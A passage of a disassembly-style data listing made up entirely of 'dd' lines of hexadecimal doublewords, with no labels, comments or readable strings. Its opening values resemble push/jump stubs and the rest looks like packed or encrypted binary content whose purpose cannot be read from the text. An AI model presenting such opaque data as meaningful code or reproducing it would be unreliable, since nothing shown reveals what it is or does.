68FFFA06h, 7EA858Dh, 0FA0642E9h, 861E68FFh dd 38E907EAh, 68FFFA06h, 7EA86E1h, 0FA062EE9h, 87CC68FFh dd 24E907EAh, 68FFFA06h, 7EA885Eh, 0FA061AE9h, 892A68FFh dd 10E907EAh, 68FFFA06h, 7EA89B1h, 0FA0606E9h, 8A5468FFh dd 0FCE907EAh, 68FFFA05h, 7EA9044h, 0FA05F2E9h, 914F68FFh dd 0E8E907EAh, 68FFFA05h, 7EA9209h, 0FA05DEE9h, 7A9C74FFh dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 0D8DCA320h dd 357A13A8h, 617956A6h, 6F7E5B29h, 42A00DF2h, 760C914h dd 733B5473h, 0B324A623h, 16A13A6h, 73D537C9h, 0A6B401F6h dd 0F964CD13h, 13A6B402h, 659DBB95h, 0FE1079CAh, 0A6B47A05h dd 0A8C09D13h, 0B3C8A270h, 0A6B44136h, 4BA40D13h, 5C557113h dd 0EAD78A30h, 0AAE69E75h, 798E0052h, 0C07C8E45h, 423C2791h dd 93ECD368h, 0FCA0E481h, 0D8776A03h, 38D4h, 0F492FD00h dd 0CAEDFF17h, 47A6E2C5h, 0E6C82063h, 0C09F3D8Dh, 0C7D974ACh dd 6CA66CE9h, 0B7413A6h, 0C4A341D3h, 0DAA59EB0h, 7113A66Eh dd 87782460h, 50D87743h, 0C1h, 61795679h, 0B8359729h, 1442A0C3h dd 0FA14268Fh, 0E88F0C1Fh, 661442A0h, 7E9271FDh, 5937D525h dd 0D96B3143h, 0E465E3Bh, 6A476173h, 6F4C1A52h, 61CEC357h dd 0EE1442A4h, 20587650h, 7C597385h, 0DDBAD064h, 0D9B68DC5h dd 0E0885D5h, 5413A6B0h, 51F390E4h, 477609DBh, 68D33394h dd 21B50EFEh, 0D1218D02h, 40D95B54h, 5EAE1714h, 35C9E5C0h dd 29B7E95Bh, 70516C82h, 4D69445Eh, 34C08FF9h, 34BAFA62h dd 196Ah, 45D9FBD3h, 0A236562Fh, 296B08Ch, 65F90DECh, 0C458744Fh dd 714C05EBh, 0D1ABC155h, 2B091FB3h, 8E6B8115h, 7F2FE276h dd 0A8D97D02h, 594D913h, 0CB5F7B56h, 2CC0D8B5h, 19F4925Bh dd 182AC5FDh, 0C4149AF5h, 0CDE9C462h, 0EFE8FA95h, 13A6A939h dd 0A9568EF7h, 13A6A9D6h, 0AA852375h, 0A7DF7C8Eh, 780808F7h dd 0C3CDD8h, 56F60000h, 5B296179h, 9A2C6480h, 0A0C4BB38h dd 29921442h, 0A5111E17h, 25021442h, 8663790Dh, 305F366Eh dd 1E566E4Bh, 0C1B63383h, 8D1442A5h, 0FE7BCB24h, 13A6B104h dd 2E4DE14Ah, 80FD4D61h, 14405F20h, 0A1B79533h, 0F747B08Fh dd 542D8059h, 0EBC9DB34h, 0F70DEB89h, 0D4F0CBE5h, 2C4F2A40h dd 0A8F1A6A0h, 0DD318A24h, 6234DAB5h, 8F22A8E8h, 0AE000018h dd 0A20B4D6h, 677D1131h, 0C7DD718Bh, 2A40D4E8h, 0C69F334Fh dd 304C2720h, 8EAC869Ch, 0F006E4FAh, 5169465Ch, 0DD5A0ABDh dd 13A8DA26h, 92E06FB4h, 6B2D5E20h, 0AB15758Fh, 6D49D592h dd 4C274153h, 0A9869C30h, 62DF4191h, 1442FD9Dh, 9CBED039h dd 2E7956CBh, 0A280255h, 85DE79B1h, 93A27F4Dh, 0C4FC1CF5h dd 0A039BE29h, 2C951442h, 0BE583D3h, 0DFB9DBEDh, 0E705DF7Dh dd 42A0877Ch, 5EEA5314h, 96316981h, 802E6184h, 86FDB330h dd 4BBB13A6h, 3A05AC76h, 0B3EB44BDh, 0A6817506h, 85C1D213h dd 0F774D6h, 0CE13A681h, 87785365h, 50D877FCh, 0C4h, 7FC14579h dd 0B04E9E10h, 0E984BCD2h, 0AE7CF9D7h, 7C13A68Ch, 7C1A0A13h dd 21FA86A0h, 0D7F6EF01h, 9CC73C2Bh, 300221FEh, 38BA2D1Dh dd 0B583BB14h, 5668C1D7h, 461F5C33h, 0FA53EE26h, 0B0132DAAh dd 0E141CFD8h, 20F29F64h, 0D2100F0h, 0C2FA53BCh, 2AD4BE30h dd 0A5B11349h, 981F7093h, 2060641Bh, 0C4D8B7F0h, 61B10A73h dd 0C7D0BCE4h, 0A5F55EF7h, 7E122A07h, 1F738B68h, 85B64C7Dh dd 576EF434h, 0E6000017h, 4258EC0Eh, 9FB54969h, 0FF15A9C3h dd 62780C20h, 0FED76B87h, 68845FF8h, 0C6E4BED4h, 283E1C32h dd 89A17E94h, 159242F5h, 13A8DB6Eh, 5618A7ECh, 52296179h dd 0A421713Dh, 13A686EEh, 0DEAF43ACh, 107FC145h, 4EEC4E9Eh dd 2F492572h, 1DCBC4D6h, 0CB13A68Ch, 8C09EE6Bh, 49C613A6h dd 13A68CB2h, 0FD66B720h, 19909BA4h, 15948E76h, 0E22017Ah dd 0A10365B5h, 4F875F24h, 8092FB9Bh, 0ABA6B587h, 20FE9C9Ch dd 0E9E19613h, 46D82B3h, 51BA99ABh, 614D4219h, 594C9411h dd 0A50E8554h, 7855F355h, 7B8D2860h, 0D86C8461h, 79CDE5C2h dd 0D327C22Dh, 9FD25898h, 9E000016h, 0FA10A4C6h, 576D0121h dd 0B7CD617Bh, 1A30C4D8h, 0B68F233Fh, 203C1730h, 7E9C768Ch dd 0E0F6D4EAh, 4159364Ch, 0CD4AFAADh, 13A8DC36h, 56D05FA4h dd 0A30D6179h, 367200BCh, 166070F6h, 5DD0000h, 60394FE3h dd 0BA96AC40h, 17F60CA0h, 7E596F03h, 0FF5CE62h, 0CB5F7B56h dd 29BDDBB5h, 8B1F3513h, 0EC809875h, 770C8939h, 0E313A8DCh dd 30920F9Eh, 0F1C87CBEh, 0E44FC66Dh, 1442681Fh, 264052BBh dd 67F93149h, 0C7A3EAC9h, 0EFC854ADh, 0EAFC97CFh, 96E6C8C7h dd 0A6684F19h, 0E3A51513h, 3BD42656h, 0C33C720h, 1EFC9A8Bh dd 0A9E1F7D5h, 80A3B50Eh, 0D24F9F0Fh, 1442F604h, 0C5935D3h dd 84BC1531h, 2F6289E9h, 3C8C626Dh, 0D9E24B2Ah, 22EB7FCEh dd 0CEE0AF87h, 2A3F017Eh, 7915BFD7h, 0B04B839Dh, 47481F57h dd 469A1767h, 14A7F0DCh, 0E0BD5BABh, 411E34C8h, 3EE5D529h dd 0C808B5C3h, 159D42h, 0A6C8A000h, 323FC12h, 637D596Fh dd 0C6DAB9CFh, 25411C32h, 1932B891h, 788E223Eh, 0D6EC809Eh dd 384EE2F8h, 0FCAF435Bh, 0DD28CF4Ch, 61A613A8h, 0A08077D2h dd 0ED4F1442h, 42A08B70h, 0CCDE4714h, 42B028D3h, 0A0F38C14h dd 0BA451442h, 0DD144280h, 3094E800h, 0D172009Ch, 15400B91h dd 25FD0000h, 80596F03h, 0DAB6CC60h, 37162CC0h, 9E798F23h dd 0EF15EE82h, 0EB7F9B76h, 49DDFBD5h, 0AB3F5533h, 0CA0B895h dd 572CA959h, 313A8DDh, 30922FBEh, 42A0CCB3h, 0F218A14h dd 0BB0BA3ECh, 0A6B8103Eh, 155BE13h, 6A1CA3CDh, 0EF820848h dd 4E000014h, 0AAC05476h, 71DB1D1h, 677D112Bh, 0CAE07488h dd 663FD3EFh, 0D0ECC780h, 2E4C263Ch, 90A6849Ah, 0F109E6FCh dd 7DFAAA5Dh, 13A8DD86h, 92800F54h, 0A0CCB330h, 218A1442h dd 0A0AF54D1h, 0C22B1442h, 0A1B996B0h, 0F265D769h, 96AA893Dh dd 8D63C35Eh, 0FCF353D4h, 5341DBE8h, 0EECBE5F7h, 9D5A9ED6h dd 864AB5E9h, 278BE05Bh, 0B4000000h, 42A08477h, 23320F14h dd 42A0D1A6h, 0C4147D14h, 42A0B047h, 5CB51E14h, 2557D3C8h dd 0E51D1419h, 145D5Fh, 0F492EE00h, 0D0EAFC1Ah, 0CCA3DBF3h dd 399BEBC3h, 0A0A55AD7h, 1BF61442h, 3345AEFFh, 0A6B4D83Ah dd 0A93DA613h, 0FD95DCFh, 0F6C9DE8Ch, 0E0CEC1E4h, 0B1902E90h dd 0B8CA659Dh, 420885BFh, 0AAE24B14h, 52E600DCh, 8A16A35Dh dd 0FD1DF61Bh, 277A5369h, 81EFC4Dh, 50DC35D0h, 841F5777h dd 4C25F32Bh, 4926F42Ch, 4F2BF931h, 6F46FD35h, 0B67F7B37h dd 8FB68F8Eh, 6B39C622h, 0F084DD4Bh, 93F1E619h, 286EFD0h dd 4D180000h, 0BA1C6C42h, 16283E1Ch, 0A6B38B1Dh, 0FC79D913h dd 13A6B407h, 3F5D37D3h, 87558DE6h, 0E4FA8EAEh, 0DA03E40Bh dd 4B8BC3C4h, 720DBAF2h, 9213A64Fh, 0C224570Fh, 0A7AFBE45h dd 0A1B31C13h, 7C5BAE87h, 5C7B0F68h, 0AE2B7B33h dd 1443B300h, 0DFADE54Eh, 3E54E804h, 620F4763h, 1B8B8C9Bh dd 0CB0323FCh, 0D00820FDh, 0C8B7EF6Ch, 0FE99D1EDh, 0C38306A5h dd 0D165815Ch, 81D1DDB2h, 3F58AD1Fh, 0B4D391ABh, 0EE89C1D5h dd 348A8395h, 221C6FCBh, 0D6B381B9h, 0DE502ABEh, 383C9487h dd 849EB01Bh, 687E5CA7h, 0E05DBF0Fh, 3EFA21Bh, 763C4EB7h dd 0EFA232C9h, 97CF5203h, 4F6B46E4h, 2E46233Dh, 78FF7CDEh dd 0D603EFA2h, 0EE02E16Dh, 0E7091BB6h, 43E1F8D1h, 1CE34E66h dd 0BA03EFA2h, 0A226DD5Ah, 4BB403EFh, 0AB4999F2h, 0DDA3B5CFh dd 7E3360Fh, 8E5C94EDh, 905E96B4h, 5E25A2B5h, 0FC03EFA2h dd 0C4023A93h, 93104BFBh, 3EFA2ECh, 0ACA8016Ah, 0B2B04A2h dd 892638D3h, 0BF3C9EDDh, 3EFA238h, 11B2D96h, 9D740828h dd 0C8AF0F62h, 0AE55D234h, 0F103EFAEh, 2BC6FE12h, 34526ADAh dd 9E7A601Fh, 0BE943345h, 0B4000000h, 0E8203A16h, 56663B4Dh dd 59275F7Bh, 0EC2A627Eh, 21FC6323h, 80D9F9D2h, 9ED6BE30h dd 1B36854Bh, 0EF10E709h, 0E8E05B38h, 91h, 23209211h, 0AD895C86h dd 38152F41h, 1B87F019h, 62BBD585h, 677F5C2Ah, 6B85612Fh dd 6E8A6533h, 0FCA87F36h, 10AEB8B4h, 49E41C32h, 0AFEA9A37h dd 0C1E3211h, 0ADFD15F2h, 5429CE4Bh, 0BC961442h, 0AC04E130h dd 0FA0C75C6h, 0CFFE01D8h, 3ED7E05Bh, 0 dd 0F24B2092h, 70456884h, 5A543B5Eh, 24378D0Ah, 0B42613A6h dd 94C99968h, 3514264Eh, 14E794CCh, 0B313A678h, 45BAE2A2h dd 53D87745h, 0B48FD6B5h, 6CC56098h, 0E8879934h, 84h, 6C424D11h dd 0BEFD9F1Ch, 2A9313A6h, 2B4B24F2h, 421FBD97h, 25FE182Ah dd 26FFCD05h, 0C790CE06h, 0A7C7A09Fh, 0BCDDB957h, 93ED6F7Ch dd 0DC146DAAh, 360D2F41h, 0D8779BC9h, 410Eh, 484D3700h dd 16B41666h, 18112337h, 6BBD5F83h, 781666CFh, 0B24D8599h dd 522DDAA0h, 0DC9442A1h, 334726C4h, 99C08421h, 0D0DE8927h dd 99ABAF0Bh, 3F8F1F76h, 0BDBEDDC2h, 7C1079EBh, 7AEh, 4D9E3D00h dd 2D000000h, 28607A56h, 1161815Ah, 0FB3DC49Fh, 3A2E803Fh dd 7E3696ECh, 0B6D8EA8Eh, 8FA0C7A0h, 0B733C826h, 5B326AC3h dd 7C038037h, 0DA144233h, 33E01871h, 0EBBDCCB7h, 0CD4AACFEh dd 14423336h, 8C293BA4h, 7E5BA4D8h, 837CE05Bh, 0A500000Bh dd 1969454Dh, 0A0453AB7h, 0A1111442h, 9704C8C9h, 34469FA2h dd 0DF6ADC6Eh, 8D03AC3Eh, 0D450495Bh, 979DE984h, 619EDE86h dd 7656B0D8h, 39h, 69454D9Fh, 82A27B19h, 6E159270h, 0EC1442A0h dd 0B6953383h, 1DCA90A2h, 0BD316DC4h, 0C69F3D8Fh, 6E4D32AFh dd 0A009BD31h, 62740F47h, 22DD81C5h, 0B336E843h, 298h dd 15F492DCh, 4F34B101h, 0B1442A0h, 256D90A2h, 0BD9B3989h dd 0C2D46FA7h, 920AC1EDh, 0C6FE18F4h, 22FF192Bh, 0F2D9C30Ah dd 0CCB33092h, 8B1442A0h, 42A0690Eh, 2B7CE514h, 3D5D36C2h dd 0E5DF502Bh, 4B18E55Fh, 41000000h, 2269454Dh, 0ABE3092h dd 5A7A5306h, 4E005AFAh, 0DCB9433Ch, 0AE171442h, 5EFCEC5Eh dd 6E7307CDh, 0A23D7595h, 0CADEBD49h, 10E5F792h, 7A563992h dd 52701960h, 0E94B30E0h, 485A1788h, 549E73h, 86240000h dd 0BA558DADh, 2092D3A8h, 658A1451h, 10ED7943h, 0CFC3E6F8h dd 12F18FDFh, 192BC6FEh, 18F49244h, 7ED7EDCBh, 411FAB46h dd 0BE3B192Bh, 1442A03Ch, 0A81A6A51h, 0D54B0902h, 84596B80h dd 7A563992h, 0F4921960h, 28C3FB1Bh, 7FAFF6C8h, 30426644h dd 99771B30h, 6826CBD9h, 0D9F28906h, 0F76026CBh, 0D4F0CBE5h dd 24D2A40h, 39D40C26h, 0E8C3BFE0h, 0D80A7CCCh, 0A672E523h dd 0BD162A09h, 53D5331h, 0EA9586Ah, 9F7CE3A3h, 75527E87h dd 0DE7C3C5Dh, 0ABD6E802h, 187AF8BBh, 0CBE0E49Bh, 0F7097226h dd 0D16F2A5Ah, 9A4DCF4h, 0E800DDF7h, 0EFFF2698h, 0EE28644h dd 5C3965FCh, 1592F444h, 26CB916Eh, 0C27183ECh, 0C3BDEBC6h dd 9126CB91h, 16C0728h, 0DEFDDA45h, 0C1EDA738h, 39429BE0h dd 0DE16320Dh, 56856FFh, 0E703DE41h, 51BF997h, 0FE2032CDh dd 0D2F30BE8h, 4AE8FBD6h, 831E566Ch, 0C5867871h, 0E34C26CBh dd 43B5EDC2h, 7A6354E4h, 8E6C3926h, 0DBBC7EDEh, 5D09A6B8h dd 9DED05E2h, 0D20A22FFh, 153CC340h, 319A26CBh, 576F4CD8h dd 20BEAE45h, 0FC162846h, 0D9E6071Fh, 0A0E42598h, 0BFC8E0BDh dd 4E9EB693h, 0A5B7D7B0h, 31C436F6h, 0C05FB226h, 0BC97B1C3h dd 71EE50A0h, 26CBF48Ah, 1ECDDF48h, 0F16C1883h, 0CDECC914h dd 97B0841Dh, 459EF7F8h, 7956553Ch, 0AC11A61h, 0CCB33092h dd 8A1442A0h, 0A9EC0F21h, 86DFF3D2h, 95F2D93Fh, 0E55FE59Ah dd 465Bh, 30928400h, 2F9AB892h, 1442A048h, 6AA583F7h, 1C6DE299h dd 177EA1B3h, 15925097h, 1442A06Bh, 923980E9h, 5D7D5639h dd 105B9B0Dh, 6D69598Ah, 0D6E808E1h, 925B7001h, 0A0CCB330h dd 218A1442h, 263D0Fh, 4DCC0000h, 3D573348h, 1DF694E4h dd 4B30ADFDh, 71442A0h, 92B78C9Eh, 42A06B15h, 7AC1A814h dd 7D563992h, 5B70165Dh, 42B1AF77h, 1296D14h, 0B8FFFFFDh dd 42A08477h, 0D2AD4B14h, 0D1E37EB6h, 7ACAE4AEh, 663C5D08h dd 74863ABAh, 13603C52h, 8CC41D37h, 428118DFh, 8BBB9214h dd 0A9EB894h, 67FB1BF4h, 29614D48h, 14D2CE7Ch, 6C846156h dd 6E8C6634h, 1155D236h, 4CF80961h, 7C906F0Dh, 0A8708F6Ah dd 0FA659E05h, 85000001h, 0DCEE0EE7h, 0A0857707h, 88071442h dd 0B59D626h, 0D913A682h, 0EAC6DC70h, 0F1CA98D0h, 690799D1h dd 4761738Dh, 3F164E6Eh, 0AC0E5E50h, 5286E53Ah, 0CEE0B33Ch dd 4207FFD5h, 7F1D7D14h, 0B44F87A5h, 8A77B249h, 5EB7201Bh dd 37E5CE0Ah, 951B5B62h, 0D5Ah, 55E90BE3h, 0B246663Fh dd 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh, 0E1BBD165h dd 3B192FC3h, 9E7B9125h, 8F3FF286h, 0A8256D12h, 15A4E913h dd 552E7956h, 962FD35h, 1995FAD1h, 0E8F567C9h, 87F9CBD3h dd 0D8847D8Fh, 7A13A877h, 0C15FC111h, 395CDE3h, 0A9B7F186h dd 9BF45D13h, 79936F89h, 0D9F3CFE5h, 0DEF6D3A1h, 0EEC0CFA6h dd 0ACDF219Eh, 476144Dh, 57629261h, 4ECB1B38h, 1B8D33A9h dd 0CBAABC25h, 29D40E62h, 29696231h, 0CC9A3h, 7A9C7400h dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 26DCA320h dd 357A13A8h, 617956A6h, 713D5229h, 0B316A421h, 0DB4413A6h dd 3D1D198Bh, 0CEF43E48h, 0A7849ABCh, 5330835Ch, 0FAAE23Bh dd 870466B6h, 13A68DF0h, 0C1E3F55Eh, 71C1EDA2h, 0A4DCF8D3h dd 9C19F709h, 144CFACDh, 46E4349Dh, 27DC596Ah, 0B31B8C05h dd 835DF14Ah, 30E809E5h, 0FFD6F9C6h, 9C376FC8h, 7A94708Ah dd 3712B042h, 6A41E31Bh, 8FEFE574h, 344E60B9h, 30073F57h dd 61FF4F5Fh, 9A356D83h, 81A300Eh, 9B53AD2Ah, 98011C68h dd 4E80A844h, 0E369A95Ah, 0C06h, 0A93D5F37h, 69ABA93h dd 66FA14F0h, 0C95D7150h, 28BCD8B3h, 0D5B0A94Fh, 350F25B9h dd 8F6D8317h, 0F2CFE579h, 0E39346DAh, 0A8269166h, 69F83D13h dd 29617956h, 21713D52h, 0A68E22A4h, 73077013h, 0D064845Dh dd 0B291DEBAh, 0D7B1459Eh, 34465A39h, 120925Fh, 6CD23A04h dd 7E113446h, 8563E030h, 5313A660h, 8220B2EAh, 847D8FA3h dd 13A7A6FBh, 54073F50h, 74FAB7E2h, 495B9373h, 7703916Eh dd 0AD46D8h, 566F0000h, 334F2A7Dh, 7210A2DAh, 536D7F93h dd 54225A7Ah, 36542E75h, 0A5B75CFEh, 0C6BAF668h, 52C4146Dh dd 793D62A0h, 0F87FFCCBh, 56144278h, 0BC8294EDh, 61F515EEh dd 0C20BE987h, 0F792CAE8h, 6BCB669Eh, 4959E38Ah, 0C6E9FBD8h dd 0F795E5C9h, 13F10319h, 0A6CDA496h, 0ED41AA13h, 6A1C4B09h dd 1B961C5Ch, 2200000Bh, 7E94284Ah, 0DBF185A5h, 3B51E5FFh dd 9EB4485Ch, 3A13A7C3h, 0A4C09BB4h, 220FA10h, 647A586Eh dd 0C5DDBAD0h, 51CE7E31h, 13A827AAh, 5654E328h, 0EFC95D7Dh dd 9995A67Dh, 0B2C49B92h, 80E0h, 0EFC86600h, 92E8BDCFh dd 0D6CF9D20h, 0ABBDDB11h, 6098B891h, 0B63C5CCEh, 0A3FB80FDh dd 0EE571442h, 63C5478Eh, 4D612E51h, 6B815FFDh, 0A8869833h dd 0C4C7D446h, 9F43968h, 0B8A8FEF7h, 0AA613A6h, 3FDA1230h dd 9D6E92E6h, 0CB0B6A1Ch, 0A8945h, 0BADCB400h, 17371026h dd 77916D83h, 0DAEECDE3h, 39553046h, 2D26CCA5h, 8CA23652h dd 0EA0094B2h, 4C62F60Ch, 10C3576Fh, 281CE360h, 75BA13A8h dd 617956E6h, 667E5B29h, 4EECEA2Eh, 2E4C2671h, 7E26C3D5h dd 5C1DC13Eh, 21A16E0h, 923F0000h, 0B8FE7F20h, 0EAC65C89h dd 0A4FD98D0h, 0D1576792h, 245EE9BEh, 0D3978129h, 0FFAD2A7Ah dd 0AD13A6FAh, 7A56F444h, 7B8D2860h dd 0AB85D9E4h, 840BE031h, 2B5DDA2Ah, 0B9E8DAF6h, 0E8861850h dd 0CCE0BF0Ch, 68A0F994h, 4C6441CDh, 3678173Ah, 793169E6h dd 7AE310C5h, 97AF8C2Ah, 846ED547h, 0B6EE0AE5h, 0F717BB1Bh dd 43597B8Dh, 73304766h, 69F4FBB7h, 144EBC10h, 0FF3F66B8h dd 9BD79h, 86A88000h, 0E303DCF2h, 435D394Fh, 0A6BA99AFh dd 521FC12h, 0F9529871h, 586E021Eh, 0B6CC607Eh, 182EC2D8h dd 0DC8F233Bh, 29C8AF2Ch, 418613A8h, 5D7D56B2h, 6D414E25h dd 0D633A01Dh, 0F65F13A8h, 30C744A6h, 6313A8D7h, 0B0196A8Ah dd 4822C09Eh, 0A680962Ah, 29617755h, 26FD358Eh, 78F54569h dd 144CE4DEh, 112D08A4h, 0ECCA68B8h, 0F1039ED6h, 7D9B7513h dd 0DBF9D3E9h, 0E0F8D5A3h, 3211888Ch, 53D91962h, 936h dd 790D2F07h, 0D66A8A63h, 36CAE4C0h, 992D4120h, 0F88CA883h dd 0A580D91Fh, 5DFF589h, 5F3D53E7h, 0C29FB549h, 0B36316AAh dd 0A8294136h, 39C80D13h, 1D9AFCC6h, 1442A066h, 0CBBD84F4h dd 0E9446DBEh, 0F6857E90h, 401442EEh, 0BB9A3D69h, 0EC8ADAD4h dd 23BEF610h, 9CB63311h, 0E213A6DDh, 451F6846h, 2575CE27h dd 0FD91AB87h, 0BF44C123h, 1B13A622h, 127DA0B2h, 0FACF4C9Ch dd 781440F9h, 57EC4E08h, 0B009FB5Bh, 0CDE5C260h, 0E4C15F39h dd 4DA6BA99h, 0F944213Bh, 55A9021Eh, 623506C9h, 9326ACECh dd 0AA000008h, 61CB0D2h, 63790D2Dh, 0C3D96D87h, 263CD0E4h dd 0C29B2F4Bh, 2C48233Ch, 8AA88298h, 0EC02E0F6h, 4D654258h dd 0D95606B9h, 13A82A22h, 77DC6BB0h, 1442A084h, 861A320Fh dd 36862867h, 0A6EF21B9h, 0FDD67413h, 5CB5CDAAh, 98778924h dd 0AC0521FCh, 0CAE0BE5Ch, 0E501DC7Ah, 0DE0012ADh, 5E25A204h dd 0FC13A6F0h, 89678193h, 23B53B73h, 44000008h, 0F965424Dh dd 0EC33BCD8h, 850252ABh, 13A69257h, 0EA4C9C05h, 0A693966Dh dd 0C9DB4413h, 93A55603h, 112213A6h, 0DED62955h, 1CFFD877h dd 28000001h, 12627856h, 48809674h, 7D59BADh, 0E303DC2Dh dd 7FB710ABh, 84BCD4B1h, 2EC2D8B6h, 0EC243A18h, 0E3337B15h dd 42A0A966h, 0D40C7514h, 1F1E461Dh, 41AF841h, 44D831CCh dd 23A502Eh, 42A05255h, 82E4FC14h, 42A17E05h, 6173DC14h dd 0BF9D80C4h, 9AF615A9h, 52C414h, 7D9371D4h, 9B4AAA45h dd 3788287Bh, 0D35631D1h, 0D8A687Ah, 1442367Eh, 57754FEDh dd 0C5FD6645h, 6BFF1DF7h, 716F391h, 4236F58Ah, 9FF86114h dd 7B99738Dh, 4D987543h, 85205870h, 0AC051BF9h, 98DFBE5Ch dd 1149A2BCh, 0E79E6476h, 0FE95410h, 6D475DF1h, 4F40174Fh dd 0F0920F5Fh, 7E13A62Ah, 0C563C515h, 9D62CDEBh, 2A13A612h dd 8E9F29Ch, 0ED89DA06h, 8FA1FA0Eh, 5F7D576Dh, 6E405027h dd 82D6A11Eh, 137C13A6h, 194D24DBh, 20FB4C26h, 0D831CC04h dd 36542E44h, 466827FEh, 0B30F79F6h, 64D61442h, 9BD72916h dd 58374990h, 90C8DEBCh, 0F2089CF5h, 5066FA18h, 6E0C5C72h dd 0A43F7793h, 4D9F7092h, 8C3C6542h, 0D59CD7FFh, 55AF2C7Ch dd 1B13A691h, 76E87AB2h, 92A93AC4h, 0B8D2E41Fh, 5A2BBFDFh dd 1762092h, 374CD9AFh, 1B930225h, 604536E3h, 0F1021442h dd 8E6806B5h, 8B9D3870h, 5B514FB0h, 2488E0h, 56B10000h dd 78255D7Dh, 1442A083h, 6910542Bh, 9ED6EECBh, 0FED7F103h dd 0EE554ADEh, 64144285h, 0FFFFB720h, 7956AFFFh, 0A016ED6Ah dd 5BC41442h, 18AABB02h, 0A04239B6h, 0A7101442h, 484DC095h dd 7D4E1F66h, 5FE59A95h, 585BE5h, 97B0000h, 0DB202D15h dd 34091BE9h, 1F66484Dh, 0A06E1592h, 83EC1442h, 15F4923Ch dd 0B811EF01h, 16F492h, 0C2A12DC8h, 0C9DB76AEh, 66B6D6AFh dd 15E734F4h, 3F512427h, 925B706Ah, 0EBF817F4h, 0F9FD4A9h dd 0ADCEE47h, 31h, 0CAB12E90h, 88144271h, 9BF412ECh, 484DB489h dd 15921F66h, 1442A06Eh, 68FBDABh, 0D4C0D002h, 0B18D2B7Bh dd 0B2C45F97h, 563992DDh, 70165D7Dh, 607A565Bh, 0A0847B28h dd 162E1442h, 0A04037B4h, 920F1442h, 1442A0EDh, 46AF0069h dd 70EF9734h, 0D1507394h, 0F052922Fh, 0CFA94797h, 0C5463DBAh dd 0AB141442h, 291E4052h, 1442D521h, 0E9425C38h, 0FFF433A5h dd 7D5634FFh, 0E5AAC95Dh, 16FC79C9h, 0E413A680h, 0E596437Bh dd 6213A680h, 0C8661551h, 0A75CD9EEh, 3313A680h, 9E3971CAh dd 0FD4EB18Ch, 787D877h, 0B0000000h, 19Eh, 424D2D00h, 659F1C6Ch dd 2B13A6A7h, 0E091B48Fh, 66B1FBA3h, 0A5F54EA7h, 0FD0F2D07h dd 70906937h, 886402DCh, 0EF485C3Bh, 110A1CB7h, 13A69FA0h dd 0EF839977h, 0D7B2FBD9h, 3B94AA88h, 94CBAAE2h, 0CD8CB831h dd 7F25D05Bh, 4759395Bh, 0E9394F2Dh, 46586C4Bh, 0CDD84A24h dd 0F23576B0h, 0AF54D121h, 2B13A631h, 0B996B0C2h, 0A78480A1h dd 0F16E815Ch, 13A6310Ah, 0CE065FC8h, 288ADA33h, 5B93AF8Ah dd 31AE55C0h, 0C32C13A6h, 0FC6702B1h, 0E0F8D548h, 6C49E7D7h dd 6F811C54h, 0E56A959Ah, 0BA2CE7DFh, 217EC111h, 6C0B1DA3h dd 0E3h, 6B434D95h, 1AF49224h, 0CD19EAF5h, 389159F7h, 3E543200h dd 78F5D3E5h, 14425E86h, 92DD240Bh, 0EE95D339h, 0A0680F8Ch dd 6AE71442h, 1442A095h, 1E87D841h, 3092370Ch, 666DF1BEh dd 26918EC5h, 14427C51h, 2F0894FDh, 6E3FD0Fh, 3092A7EEh dd 42A0CCB3h, 0F218A14h, 0D855B749h, 1442A023h, 5F3446AFh dd 1F66484Dh, 9A957D4Eh, 1CE55FE5h, 4E86A47Eh, 3902A1B3h dd 2B000000h, 8BF12092h, 30F9DC2Ah, 149AFB1Eh, 0FE4926C4h dd 34CF0723h, 92F4C9DBh, 42A06E15h, 7250EC14h, 3089245Ch dd 4C6642E0h, 3992653Ah, 165D7D56h, 1D9E5B70h, 2D000000h dd 1F66484Dh, 115F492h, 3E1C2EC9h, 42A03AC1h, 29705714h dd 7D563992h, 5B70165Dh, 0B8923092h, 0A0482F9Ah, 9D061442h dd 0FF0BB98Bh, 5648FFFFh, 0AF116179h, 42A04D32h, 8EA00914h dd 51DFAC8h, 713D5271h, 8CA88321h, 0AD1F9C7Ah, 0E313A6B3h dd 12B0427Ah, 0E071939h, 13A6B46Dh, 78B0CAA6h, 7AB2D0AAh dd 3FB4D2ACh, 1C743C68h, 0DC235B0Bh, 0BAD87809h, 0A8561F48h dd 0EDFF4BAFh, 584Eh, 424D7700h, 0D455B39h, 4CC91972h dd 13A6A986h, 0A05BE355h, 41A10D1Ah, 0D9B4502Fh, 7F2C64BDh dd 13A6D3FCh, 0EB233917h, 19F73E1Dh, 0D730CB03h, 0ED99609Fh dd 83C4DA5h, 779EAB54h, 2F7BEDD8h, 2B851E86h, 4B64DCAh dd 0BB2413A6h, 0E3F7D662h, 5FFE10ABh, 0BDh, 61795688h dd 64805B29h, 55289A2Ch, 0DC4A9E74h, 7D5A7486h, 825F2D65h dd 52E1D66Ah, 0C5144291h, 263CD0E8h, 6FE13149h, 18F5624Ah dd 0CD2DC800h, 0E5F7F15Dh, 6747481Fh, 0A50C9A17h, 0F15A13A6h dd 6E5835Dh, 0D2BDE0F2h, 3B0F8CDCh, 39144050h, 7E280D0h dd 0B7D57EBh, 8FFBF1ECh, 20F98545h, 1B2DC800h, 0B60A2601h dd 62351572h, 0A3911757h, 9A000002h, 0F60CA0C2h, 5369FD1Dh dd 0B3C95D77h, 162CC0D4h, 0B28B1F3Bh, 1C38134Ch, 7A987288h dd 0DCF2D0E6h, 3D553248h, 0C946F6A9h, 13A83032h, 92CC5BA0h dd 9DAF6420h, 6476063Ch, 45206F4Ah, 0C90119F6h, 0E87CD52Eh dd 49DDF5D2h, 6C424D78h, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h dd 142513A6h, 4AC72950h, 13A6AAB5h, 7558B821h, 41FB1E75h dd 0B54A2537h, 0E3D8774Dh, 3C4E6A45h, 0C69Dh, 7956C600h dd 0FF37532Eh, 5D30B64h, 0E5FFDB2Ah, 5BCA3C8Ch dd 380CE86Fh, 50B7A6D5h, 1D963DF0h, 32AB50CDh, 0BE271442h dd 0A39E6ACh, 1D144236h, 7E942840h, 7A5189A1h, 0CC499915h dd 13A638DEh, 708F238Ch, 71FF881Fh, 0F869EF08h, 0C1FCA813h dd 60B9F4h, 